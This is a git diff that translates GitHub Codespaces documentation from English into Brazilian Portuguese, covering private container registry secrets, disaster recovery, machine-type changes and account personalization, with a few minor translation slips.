+Para obter mais informações, consulte "[Trabalhando com o registro do contêiner](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)".
 
-### Accessing an image published to the same repository as the codespace
+### Acessar uma imagem publicada no mesmo repositório que o codespace
 
-If you publish a container image to {% data variables.product.prodname_dotcom %} Container Registry in the same repository that the codespace is being launched in, you will automatically be able to fetch that image on codespace creation. You won't have to provide any additional credentials, unless the **Inherit access from repo** option was unselected when the container image was published.
+Se você publicar uma imagem de contêiner do {% data variables.product.prodname_dotcom %} no mesmo repositório em que o codespace está sendo lançado, você poderá de buscar automaticamente essa imagem na criação de um codespace. Você não terá que fornecer qualquer credencial adicional, a menos a opção **Herdar acesso do repositório** tenha sido desmarcada quando a imagem do contêiner foi publicada.
 
-#### Inheriting access from the repository from which an image was published
+#### Herdando acesso a partir do repositório no qual uma imagem foi publicada
 
-By default, when you publish a container image to {% data variables.product.prodname_dotcom %} Container Registry, the image inherits the access setting of the repository from which the image was published. For example, if the repository is public, the image is also public. If the repository is private, the image is also private, but is accessible from the repository.
+Por padrão, quando você publica uma imagem de contêiner no registro do contêiner de {% data variables.product.prodname_dotcom %}, a imagem herda a configuração de acesso do repositório no qual a imagem foi publicada. Por exemplo, se o repositório for público, a imagem também é pública. Se o repositório for privado, a imagem também é privada, mas pode ser acessada a partir do repositório.
 
-This behavior is controlled by the **Inherit access from repo** option. **Inherit access from repo** is selected by default when publishing via {% data variables.product.prodname_actions %}, but not when publishing directly to {% data variables.product.prodname_dotcom %} Container Registry using a Personal Access Token (PAT).
+Este comportamento é controlado pela opção de **Herdar acesso do repositório**. O **Acesso herdado do repo** é selecionado por padrão ao publicar {% data variables.product.prodname_actions %}, mas não ao publicar diretamente no registro do contêiner de {% data variables.product.prodname_dotcom %} usando um Token de Acesso Pessoal (PAT).
 
-If the **Inherit access from repo** option was not selected when the image was published, you can manually add the repository to the published container image's access controls. For more information, see "[Configuring a package's access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#inheriting-access-for-a-container-image-from-a-repository)."
+Se a opção **Herdar acesso do repositório** não foi selecionada quando a imagem foi publicada, você pode adicionar o repositório manualmente aos controles de acesso da imagem de contêiner. Para obter mais informações, consulte "[Configurar o controle de acesso e visibilidade de um pacote](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#inheriting-access-for-a-container-image-from-a-repository)".
 
-### Accessing an image published to the organization a codespace will be launched in
+### Ao acessar uma imagem publicada na organização, um codespace será lançado em
 
-If you want a container image to be accessible to all codespaces in an organization, we recommend that you publish the container image with internal visibility. This will automatically make the image visible to all codespaces within the organization, unless the repository the codespace is launched from is public.
+Se você deseja que uma imagem de contêiner possa ser acessada por todos os codespaces em uma organização, recomendamos que você publique a imagem do contêiner com visibilidade interna. Isso tornará a imagem visível automaticamente para todos os códigos dentro da organização, a menos que o repositório no qual o código é iniciado seja público.
 
-If the codespace is being launched from a public repository referencing an internal or private image, you must manually allow the public repository access to the internal container image. This prevents the internal image from being accidentally leaked publicly. For more information, see "[Ensuring Codespaces access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package)."
+Se o codespace for lançado a partir de um repositório público que faz referência uma imagem interna ou privada, você deverá permitir manualmente o acesso do repositório público à imagem interna do contêiner. Isto impede que a imagem interna seja acidentalmente divulgada publicamente. Para obter mais informações, consulte "[Garantir o acesso dos codespaces para o seu pacote](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package)".
 
-### Accessing a private container from a subset of repositories in an organization
+### Acessar um contêiner privado a partir de um subconjunto de repositórios em uma organização
 
-If you want to allow a subset of an organization's repositories to access a container image, or allow an internal or private image to be accessed from a codespace launched in a public repository, you can manually add repositories to a container <span class="x x-first x-last">image's</span> access settings. For more information, see "[Ensuring Codespaces access to your package](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package)<span class="x x-first x-last">.</span>"
+Se você deseja permitir que um subconjunto de repositórios de uma organização acesse uma imagem de contêiner ou permitir que uma imagem interna ou privada seja acessada a partir de um codespace lançado em um repositório público, você pode adicionar repositórios manualmente às configurações de acesso da <span class="x x-first x-last">imagem</span> de um container. Para obter mais informações, consulte "[Garantindo o acesso de codespaces de segurança ao seu pacote](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package)<span class="x x-first x-last">.</span>"
 
-### Publishing a container image from a codespace
+### Publicando uma imagem de contêiner a partir de um codespace
 
-Seamless access from a codespace to {% data variables.product.prodname_dotcom %} Container Registry is limited to pulling container images. If you want to publish a container image from inside a codespace, you must use a personal access token (PAT) with the `write:packages` scope.
+O acesso seguro a partir de um codespace para o registro de um contêiner de {% data variables.product.prodname_dotcom %} é limitado à extração de imagens de contêineres. Se você deseja publicar a imagem de um contêiner de dentro de um codespace, você deve usar um token de acesso pessoal (PAT) com o escopo `write:packages`.
 
-We recommend publishing images via {% data variables.product.prodname_actions %}. For more information, see "[Publishing Docker images](/actions/publishing-packages/publishing-docker-images)."
+Recomendamos publicar imagens via {% data variables.product.prodname_actions %}. Para obter mais informações, consulte "[Publicar imagens Docker](/actions/publishing-packages/publishing-docker-images)".
 
-## Accessing images stored in other container registries
+## Acessando as imagens armazenadas em outros registros de contêiner
 
-If you are accessing a container image from a registry that isn't {% data variables.product.prodname_dotcom %} Container Registry, {% data variables.product.prodname_codespaces %} checks for the presence of three secrets, which define the server name, username, and personal access token (PAT) for a container registry. If these secrets are found, {% data variables.product.prodname_codespaces %} will make the registry available inside your codespace.
+Se você estiver acessando um contêiner a partir de um registro que não é registro de contêiner de {% data variables.product.prodname_dotcom %}, {% data variables.product.prodname_codespaces %} irá verificar a presença de três segredos, que define o nome de servidor, nome de usuário, e token de acesso pessoal (PAT) para um registro de contêiner. Se estes segredos forem encontrados, {% data variables.product.prodname_codespaces %} disponibilizará o registro dentro do seu codespace.
 
 - `<*>_CONTAINER_REGISTRY_SERVER`
 - `<*>_CONTAINER_REGISTRY_USER`
 - `<*>_CONTAINER_REGISTRY_PASSWORD`
 
-You can store secrets at the user, repository, or organization-level, allowing you to share them securely between different codespaces. When you create a set of secrets for a private image registry, you need to replace the "<*>" in the name with a consistent identifier. For more information, see "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)" and "[Managing encrypted secrets for your repository and organization for Codespaces](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces)."
+É possível armazenar segredos a nível do usuário, repositório ou organização, permitindo que você os compartilhe de forma segura entre diferentes codespaces. Ao criar um conjunto de segredos para um registro de imagem privado, você deverá substituir o "<*>" no nome por um identificador consistente. Para mais informações, consulte "[Gerenciar segredos criptografados para seus códigos](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)" e "[Gerenciar segredos criptografados para seu repositório e organização para os codespaces](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces)".
 
-If you are setting the secrets at the user or organization level, make sure to assign those secrets to the repository you'll be creating the codespace in by choosing an access policy from the dropdown list.  
+Se você estiver definindo os segredos no nível do usuário ou da organização. certifique-se de atribuir esses segredos para o repositório no qual você irá criar o codespace, escolhendo uma política de acesso na lista suspensa.
 
-![Image registry secret example](/assets/images/help/codespaces/secret-repository-access.png)
+![Exemplo de segredo do registro de imagem](/assets/images/help/codespaces/secret-repository-access.png)
 
-### Example secrets
+### Exemplos de segredos
 
-For a private image registry in Azure, you could create the following secrets:
+Para uma lista de imagens privadas no Azure, você pode criar os seguintes segredos:
 
 ```
 ACR_CONTAINER_REGISTRY_SERVER = mycompany.azurecr.io
@@ -74,15 +74,15 @@ ACR_CONTAINER_REGISTRY_USER = acr-user-here
 ACR_CONTAINER_REGISTRY_PASSWORD = <PAT>
 ```
 
-For information on common image registries, see "[Common image registry servers](#common-image-registry-servers)." Note that accessing AWS Elastic Container Registry (ECR) is different.
+Para obter informações sobre registros de imagens comuns, consulte "[Servidores de registro de imagens comuns](#common-image-registry-servers)". Observe que acessar o AWS Elastic Container Registry (ECR) é diferente.
 
-![Image registry secret example](/assets/images/help/settings/codespaces-image-registry-secret-example.png)
+![Exemplo de segredo do registro de imagem](/assets/images/help/settings/codespaces-image-registry-secret-example.png)
 
-Once you've added the secrets, you may need to stop and then start the codespace you are in for the new environment variables to be passed into the container. For more information, see "[Suspending or stopping a codespace](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace)."
+Após adicionar os segredos, pode ser que você precise parar e, em seguida, iniciar o processo de codespace para que as novas variáveis de ambiente sejam passadas para o contêiner. Para obter mais informações, consulte "[Suspender ou interromper um codespace](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace)".
 
-#### Accessing AWS Elastic Container Registry
+#### Acessando o AWS Elastic Container Registry
 
-To access AWS Elastic Container Registry (ECR),  you can provide an AWS access key ID and secret key, and {% data variables.product.prodname_dotcom %}  can retrieve an access token for you and log in on your behalf.
+Para acessar o AWS Elastic Container Registry (ECR), você pode fornecer o ID de uma chave de acesso do AWS e a chave do segredo e {% data variables.product.prodname_dotcom %} poderá obter um token de acesso para você e egetuar o login em seu nome.
 
 ```
 *_CONTAINER_REGISTRY_SERVER = <ECR_URL>
@@ -90,9 +90,9 @@ To access AWS Elastic Container Registry (ECR),  you can provide an AWS access k
 *_container_REGISTRY_PASSWORD = <AWS_SECRET_KEY>
 ```
 
-You must also ensure you have the appropriate AWS IAM permissions to perform the credential swap (e.g. `sts:GetServiceBearerToken`) as well as the ECR read operation (either `AmazonEC2ContainerRegistryFullAccess` or `ReadOnlyAccess`).
+Você deve também garantir que terá as permissões do AWS IAM apropriadas para executar o swap de credenciais (por exemplo, `sts:GetServiceBearerToken`) bem como a operação de leitura do ECR ( `AmazonEC2ContainerRegistryFullAccess` ou `ReadOnlyAccess`).
 
-Alternatively, if you don't want GitHub to perform the credential swap on your behalf, you can provide an authorization token fetched via AWS's APIs or CLI.
+Como alternativa, se você não quiser que o GitHub execute a troca de credenciais em seu nome, você poderá fornecer um token de autorização obtido por meio das APIs ou da CLI do AWS.
 
 ```
 *_CONTAINER_REGISTRY_SERVER = <ECR_URL>
@@ -100,22 +100,22 @@ Alternatively, if you don't want GitHub to perform the credential swap on your b
 *_container_REGISTRY_PASSWORD = <TOKEN>
 ```
 
-Since these tokens are short lived and need to be refreshed periodically, we recommend providing an access key ID and secret.
+Como esses tokens são curtos e precisam ser atualizados periodicamente, recomendamos fornecer um ID de chave de acesso e um segredo.
 
-While these secrets can have any name, so long as the `*_CONTAINER_REGISTRY_SERVER` is an ECR URL, we recommend using `ECR_CONTAINER_REGISTRY_*` unless you are dealing with multiple ECR registries.
+Embora esses segredos possam ter qualquer nome, contanto que o `*_CONTAINER_REGISTRY_SERVER` seja uma URL de ECR, recomendamos usar `ECR_CONTAINER_REGISTRY_*` a menos que você esteja lidando com vários registros de ECR.
 
-For more information, see AWS ECR's "[Private registry authentication documentation](https://docs.aws.amazon.com/AmazonECR/latest/userguide/registry_auth.html)."
+Para obter mais informações, consulte a"[documentação de autenticação de registro privado](https://docs.aws.amazon.com/AmazonECR/latest/userguide/registry_auth.html) do ECR do AWS".
 
-### Common image registry servers
+### Servidores de registro de imagens comuns
 
-Some of the common image registry servers are listed below:
+Alguns dos servidores comuns de registro de imagens estão listados abaixo:
 
 - [DockerHub](https://docs.docker.com/engine/reference/commandline/info/) - `https://index.docker.io/v1/`
-- [GitHub Container Registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry) - `ghcr.io`
-- [Azure Container Registry](https://docs.microsoft.com/azure/container-registry/) - `<registry name>.azurecr.io`
-- [AWS Elastic Container Registry](https://docs.aws.amazon.com/AmazonECR/latest/userguide/Registries.html) - `<aws_account_id>.dkr.ecr.<region>.amazonaws.com`
-- [Google Cloud Container Registry](https://cloud.google.com/container-registry/docs/overview#registries) - `gcr.io` (US), `eu.gcr.io` (EU), `asia.gcr.io` (Asia)
+- [Registro de Contêiner do GitHub](/packages/working-with-a-github-packages-registry/working-with-the-container-registry) - `ghcr.io`
+- [Registro do Contêiner do Azure](https://docs.microsoft.com/azure/container-registry/) - `<registry name>.azurecr.io`
+- [Registry Container Elastic do AWS](https://docs.aws.amazon.com/AmazonECR/latest/userguide/Registries.html) - `<aws_account_id>.dkr.ecr.<region>.amazonaws.com`
+- [Registro de Contêiner do Google Cloud](https://cloud.google.com/container-registry/docs/overview#registries) - `gcr.io` (US), `eu.gcr.io` (EU), `asia.gcr.io` (Asia)
 
-## Debugging private image registry access
+## Depurando o acesso ao registro de imagens privadas
 
-If you are having trouble pulling an image from a private image registry, make sure you are able to run `docker login -u <user> -p <password> <server>`, using the values of the secrets defined above. If login fails, ensure that the login credentials are valid and that you have the apprioriate permissions on the server to fetch a container image. If login succeeds, make sure that these values are copied appropriately into the right {% data variables.product.prodname_codespaces %} secrets, either at the user, repository, or organization level and try again.
\ No newline at end of file
+Se você estiver tendo problemas para extrair uma imagem de um registro de imagens privada, certifique-se de estar apto a executar `docker login -u <user> -p <password> <server>`, usando os valores dos segredos definidos acima. Se o login falhar, certifique-se de que as credenciais de login sejam válidas e que você tenha as permissões de prioridade no servidor para obter uma imagem do contêiner. Se o login for bem-sucedido, certifique-se de que esses valores são copiados adequadamente para os segredos de {% data variables.product.prodname_codespaces %} corretos, seja no nível de usuário, repositório ou organização e tente novamente.
diff --git a/translations/pt-BR/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md b/translations/pt-BR/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md
index 71bac5b61d..78c4d2743c 100644
--- a/translations/pt-BR/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md
+++ b/translations/pt-BR/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md
@@ -1,51 +1,51 @@
 ---
-title: Disaster recovery for Codespaces
-intro: 'This article describes guidance for a disaster recovery scenario, when a whole region experiences an outage due to major natural disaster or widespread service interruption.'
+title: Recuperação de desastres para codespaces
+intro: 'Este artigo descreve a orientação para um cenário de recuperação de desastre, quando uma região inteira sofre uma interrupção devido a um desastre natural de grandes proporções ou interrupção de serviço generalizada.'
 versions:
   fpt: '*'
   ghec: '*'
 product: '{% data reusables.gated-features.codespaces %}'
 topics:
   - Codespaces
-shortTitle: Disaster recovery
+shortTitle: Recuperação de desastre
 ---
 
-We work hard to make sure that {% data variables.product.prodname_codespaces %} is always available to you. However, forces beyond our control sometimes impact the service in ways that can cause unplanned service disruptions.
+Trabalhamos muito para ter a certeza de que {% data variables.product.prodname_codespaces %} esteja sempre disponível para você. No entanto, forças além do nosso controle às vezes impactam o serviço de formas que podem causar interrupções de serviços não planejadas.
 
-Although disaster recovery scenarios are rare occurrences, we recommend that you prepare for the possibility that there is an outage of an entire region. If an entire region experiences a service disruption, the locally redundant copies of your data would be temporarily unavailable.
+Embora os cenários de recuperação de desastres sejam raros, recomendamos que vocês se preparem para a possibilidade de haver uma interrupção de toda uma região. Se uma região inteira tiver uma interrupção do serviço, as cópias redundantes dos seus dados ficarão temporariamente indisponíveis.
 
-The following guidance provides options on how to handle service disruption to the entire region where your codespace is deployed.
+A orientação a seguir fornece opções sobre como lidar com interrupções de serviço para toda a região onde seu codespace estiver implantado.
 
 {% note %}
 
-**Note:** You can reduce the potential impact of service-wide outages by pushing to remote repositories frequently.
+**Observação:** Você pode reduzir o potencial impacto das interrupções por todo serviço fazendo push para repositórios remotos com frequência.
 
 {% endnote %}
 
-## Option 1: Create a new codespace in another region
+## Opção 1: Crie um novo ritmo de código em outra região
 
-In the case of a regional outage, we suggest you recreate your codespace in an unaffected region to continue working. This new codespace will have all of the changes as of your last push to {% data variables.product.prodname_dotcom %}. For information on manually setting another region, see "[Setting your default region for Codespaces](/codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces)."
+No caso de uma interrupção regional, sugerimos que recrie o seu codespace em uma região não afetada para continuar trabalhando. Este novo código terá todas as alterações a partir do seu último push para {% data variables.product.prodname_dotcom %}. Para obter informações sobre a configuração manual de outra região, consulte "[" Definir sua região padrão para os codespaces](/codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces)".
 
-You can optimize recovery time by configuring a `devcontainer.json` in the project's repository, which allows you to define the tools, runtimes, frameworks, editor settings, extensions, and other configuration necessary to restore the development environment automatically. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+Você pode otimizar o tempo de recuperação configurando um `devcontainer.json` no repositório do projeto, que permite que você defina as ferramentas, tempo de execução, estruturas, configurações do editor, extensões e outras configurações necessárias para restaurar o ambiente de desenvolvimento automaticamente. Para obter mais informações, consulte "[Introdução a contêineres de desenvolvimento](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)".
 
-## Option 2: Wait for recovery
+## Opção 2: Aguardar a recuperação
 
-In this case, no action on your part is required. Know that we are working diligently to restore service availability. 
+Neste caso, não é necessária nenhuma ação da sua parte. Saiba que estamos trabalhando diligentemente para restaurar a disponibilidade do serviço.
 
-You can check the current service status on the [Status Dashboard](https://www.githubstatus.com/).
+Você pode verificar o status do serviço atual no [Painel de Status](https://www.githubstatus.com/).
 
-## Option 3: Clone the repository locally or edit in the browser
+## Opção 3: Clonar o repositório localmente ou editá-lo no navegador
 
-While {% data variables.product.prodname_codespaces %} provides the benefit of a pre-configured developer environmnent, your source code should always be accessible through the repository hosted on {% data variables.product.prodname_dotcom_the_website %}. In the event of a {% data variables.product.prodname_codespaces %} outage, you can still clone the repository locally or edit files in the {% data variables.product.company_short %} browser editor. For more information, see "[Editing files](/repositories/working-with-files/managing-files/editing-files)."
+Embora o {% data variables.product.prodname_codespaces %} forneça o benefício de um ambiente de desenvolvedor pré-configurado, o seu código-fonte deve sempre poder ser acessado por meio do repositório hospedado em {% data variables.product.prodname_dotcom_the_website %}. Na hipótese de uma interrupção de {% data variables.product.prodname_codespaces %}, você ainda pode clonar o repositório localmente ou editar arquivos no editor do navegador de {% data variables.product.company_short %}. Para obter mais informações, consulte "[Editando arquivos](/repositories/working-with-files/managing-files/editing-files)".
 
-While this option does not configure a development environment for you, it will allow you to make changes to your source code as needed while you wait for the service disruption to resolve.
+Embora esta opção não configure um ambiente de desenvolvimento para você, ela permitirá que você faça alterações no seu código-fonte, conforme necessário, enquanto você aguarda que a interrupção do serviço seja resolvida.
 
-## Option 4: Use Remote-Containers and Docker for a local containerized environment
+## Opção 4: Usar contêineres remotos e o Docker para um ambiente contêinerizado local
 
-If your repository has a `devcontainer.json`, consider using the [Remote-Containers extension](https://code.visualstudio.com/docs/remote/containers#_quick-start-open-a-git-repository-or-github-pr-in-an-isolated-container-volume) in Visual Studio Code to build and attach to a local development container for your repository. The setup time for this option will vary depending on your local specifications and the complexity of your dev container setup.
+Se seu repositório tiver um `devcontainer.json`, considere o uso da [extensão Remote-Containers](https://code.visualstudio.com/docs/remote/containers#_quick-start-open-a-git-repository-or-github-pr-in-an-isolated-container-volume) no Visual Studio Code para criar e anexar a um contêiner de desenvolvimento local para seu repositório. O tempo de configuração desta opção irá variar dependendo das suas especificações locais e da complexidade da configuração do seu contêiner de desenvolvimento.
 
 {% note %}
 
-**Note:** Be sure your local setup meets the [minimum requirements](https://code.visualstudio.com/docs/remote/containers#_system-requirements) before attempting this option.
+**Observação:** Certifique-se de que sua configuração local atende aos [requisitos mínimos](https://code.visualstudio.com/docs/remote/containers#_system-requirements) antes de tentar essa opção.
 
 {% endnote %}
diff --git a/translations/pt-BR/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md b/translations/pt-BR/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md
index 79bae9b90c..941325adad 100644
--- a/translations/pt-BR/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md
+++ b/translations/pt-BR/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md
@@ -54,3 +54,7 @@ Seu código será automaticamente excluído quando você for removido de uma org
 ## Excluindo seus codespaces não utilizados
 
 Você pode excluir manualmente os seus codespaces em https://github.com/codespaces e de dentro de {% data variables.product.prodname_vscode %}. Para reduzir o tamanho de um codespace, você pode excluir arquivos manualmente usando o terminal ou de dentro de {% data variables.product.prodname_vscode %}.
+
+## Leia mais
+
+- "[Gerenciando a cobrança para codespaces na sua organização](/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization)"
diff --git a/translations/pt-BR/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md b/translations/pt-BR/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md
index 40c303e47f..b6d17c4612 100644
--- a/translations/pt-BR/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md
+++ b/translations/pt-BR/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md
@@ -23,10 +23,10 @@ A Paleta de Comando é uma das funcionalidades principais de {% data variables.p
 
 Você pode acessar o {% data variables.product.prodname_vscode_command_palette %} de várias maneiras.
 
-- `Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows).
+- <kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux).
 
   Observe que este comando é um atalho de teclado reservado no Firefox.
-- `F1`
+- <kbd>F1</kbd>
 - No Menu de Aplicativos, clique em **Ver > Paleta de Comando…**.
 
   ![Menu do aplicativo](/assets/images/help/codespaces/codespaces-view-menu.png)
diff --git a/translations/pt-BR/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md b/translations/pt-BR/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md
index 34ad12301c..8fd6d15464 100644
--- a/translations/pt-BR/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md
+++ b/translations/pt-BR/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md
@@ -1,7 +1,7 @@
 ---
-title: Changing the machine type for your codespace
-shortTitle: Change the machine type
-intro: 'You can change the type of machine that''s running your codespace, so that you''re using resources appropriate for work you''re doing.'
+title: Alterando o tipo de máquina para seu codespace
+shortTitle: Alterar o tipo da máquina
+intro: Você pode alterar o tipo de máquina que está executando o seu codespace para você usar os recursos apropriados para o trabalho que está fazendo.
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -12,52 +12,55 @@ topics:
   - Codespaces
 ---
 
-## About machine types
+## Sobre os tipos de máquina
 
 {% note %}
 
-**Note:** You can only select or change the machine type if you are a member of an organization using {% data variables.product.prodname_codespaces %} and are creating a codespace on a repository owned by that organization.
+**Observação:** Você só pode selecionar ou alterar o tipo de máquina se você for integrante de uma organização usando {% data variables.product.prodname_codespaces %} e estiver criando um codespace em um repositório pertencente a essa organização.
 
 {% endnote %}
 
 {% data reusables.codespaces.codespaces-machine-types %}
 
-You can choose a machine type either when you create a codespace or you can change the machine type at any time after you've created a codespace. 
+Você pode escolher um tipo de máquina ao criar um codespace ou você pode mudar o tipo de máquina a qualquer momento depois de criar um codespace.
 
-For information on choosing a machine type when you create a codespace, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)." 
-For information on changing the machine type within {% data variables.product.prodname_vscode %}, see "[Using {% data variables.product.prodname_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code#changing-the-machine-type-in-visual-studio-code)."
+Para obter informações sobre como escolher um tipo de máquina ao criar um codespace, consulte "[Criando um codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)". Para informações sobre como mudar o tipo de máquina em {% data variables.product.prodname_vscode %}, consulte "[Usando {% data variables.product.prodname_codespaces %} em {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code#changing-the-machine-type-in-visual-studio-code)."
 
-## Changing the machine type in {% data variables.product.prodname_dotcom %}
+## Alterar o tipo da máquina em {% data variables.product.prodname_dotcom %}
 
 {% data reusables.codespaces.your-codespaces-procedure-step %}
 
-   The current machine type for each of your codespaces is displayed.
+   O tipo de máquina atual para cada um dos seus codespaces é exibido.
 
-   !['Your codespaces' list](/assets/images/help/codespaces/your-codespaces-list.png)
+   ![Lista "Seus codespaces"](/assets/images/help/codespaces/your-codespaces-list.png)
 
-1. Click the ellipsis (**...**) to the right of the codespace you want to modify.
-1. Click **Change machine type**.
+1. Clique nas reticências (**...**) à direita do codespace que você deseja modificar.
+1. Clique **Alterar tipo de máquina**.
 
-   !['Change machine type' menu option](/assets/images/help/codespaces/change-machine-type-menu-option.png)
+   ![Opção de menu '"Alterar tipo de máquina"](/assets/images/help/codespaces/change-machine-type-menu-option.png)
 
-1. Choose the required machine type.
+1. If multiple machine types are available for your codespace, choose the type of machine you want to use.
 
-2. Click **Update codespace**. 
+   ![Dialog box showing available machine types to choose](/assets/images/help/codespaces/change-machine-type-choice.png)
 
-   The change will take effect the next time your codespace restarts.
+   {% data reusables.codespaces.codespaces-machine-type-availability %}
 
-## Force an immediate update of a currently running codespace
+2. Clique **Atualizar o codespace**.
 
-If you change the machine type of a codespace you are currently using, and you want to apply the changes immediately, you can force the codespace to restart.
+   A alteração entrará em vigor na próxima vez que seu codespace for reiniciado.
 
-1. At the bottom left of your codespace window, click **{% data variables.product.prodname_codespaces %}**. 
+## Forçar uma atualização imediata de um codespace em execução no momento
 
-   ![Click '{% data variables.product.prodname_codespaces %}'](/assets/images/help/codespaces/codespaces-button.png)
+Se você mudar o tipo de máquina de um codespace que você está usando atualmente desejar aplicar as alterações imediatamente, você poderá forçar a reinicialização do codespace.
 
-1. From the options that are displayed at the top of the page select **Codespaces: Stop Current Codespace**.
+1. No canto inferior esquerdo da janela do seu codespace, clique em **{% data variables.product.prodname_codespaces %}**.
 
-   !['Suspend Current Codespace' option](/assets/images/help/codespaces/suspend-current-codespace.png)
+   ![Clique em "{% data variables.product.prodname_codespaces %}"](/assets/images/help/codespaces/codespaces-button.png)
 
-1. After the codespace is stopped, click **Restart codespace**.
+1. Entre opções que são exibidas na parte superior da página, selecione **Codespaces: Parar os codespaces atuais**.
 
-   ![Click 'Resume'](/assets/images/help/codespaces/resume-codespace.png)
+   ![Opção "Suspender codespace atual"](/assets/images/help/codespaces/suspend-current-codespace.png)
+
+1. Após a interrupção do codespace, clique em **Reiniciar o codespace**.
+
+   ![Clique em "Retomar"](/assets/images/help/codespaces/resume-codespace.png)
diff --git a/translations/pt-BR/content/codespaces/customizing-your-codespace/index.md b/translations/pt-BR/content/codespaces/customizing-your-codespace/index.md
index b2649f276e..434b913156 100644
--- a/translations/pt-BR/content/codespaces/customizing-your-codespace/index.md
+++ b/translations/pt-BR/content/codespaces/customizing-your-codespace/index.md
@@ -1,6 +1,6 @@
 ---
-title: Customizing your codespace
-intro: '{% data variables.product.prodname_codespaces %} is a dedicated environment for you. You can configure your repositories with a dev container to define their default Codespaces environment, and personalize your development experience across all of your codespaces with dotfiles and Settings Sync.'
+title: Personalizando seu codespace
+intro: '{% data variables.product.prodname_codespaces %} é um ambiente dedicado a você. É possível configurar seus repositórios com um contêiner de desenvolvimento para definir seu ambiente padrão de codespace e personalizar sua experiência de desenvolvimento por meio de todos os seus códigos com dotfiles e Settings Sync.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -17,4 +17,4 @@ children:
   - /setting-your-timeout-period-for-codespaces
   - /prebuilding-codespaces-for-your-project
 ---
- 
+
diff --git a/translations/pt-BR/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md b/translations/pt-BR/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md
index 076985854c..adee494ead 100644
--- a/translations/pt-BR/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md
+++ b/translations/pt-BR/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md
@@ -1,6 +1,6 @@
 ---
-title: Personalizing Codespaces for your account
-intro: 'You can personalize {% data variables.product.prodname_codespaces %} by using a `dotfiles` repository on {% data variables.product.product_name %} or by using Settings Sync.'
+title: Personalizar os codespaces para a sua conta
+intro: 'Você pode personalizar {% data variables.product.prodname_codespaces %} usando um repositório `dotfiles` em {% data variables.product.product_name %} ou usando Configurações de Sincronização.'
 redirect_from:
   - /github/developing-online-with-github-codespaces/personalizing-github-codespaces-for-your-account
   - /github/developing-online-with-codespaces/personalizing-codespaces-for-your-account
@@ -14,40 +14,40 @@ topics:
   - Set up
   - Fundamentals
 product: '{% data reusables.gated-features.codespaces %}'
-shortTitle: Personalize your codespaces
+shortTitle: Personalize seus codespaces
 ---
 
 
-## About personalizing {% data variables.product.prodname_codespaces %}
+## Sobre a personalização de {% data variables.product.prodname_codespaces %}
 
-When using any development environment, customizing the settings and tools to your preferences and workflows is an important step. {% data variables.product.prodname_codespaces %} allows for two main ways of personalizing your codespaces.
+Ao usar qualquer ambiente de desenvolvimento, a personalização das configurações e ferramentas para suas preferências e fluxos de trabalho é uma etapa importante. {% data variables.product.prodname_codespaces %} permite duas formas principais de personalizar seus codespaces.
 
-- [Settings Sync](#settings-sync) - You can use and share {% data variables.product.prodname_vscode %} settings between {% data variables.product.prodname_codespaces %} and other instances of {% data variables.product.prodname_vscode %}.
-- [Dotfiles](#dotfiles) – You can use a `dotfiles` repository to specify scripts, shell preferences, and other configurations.
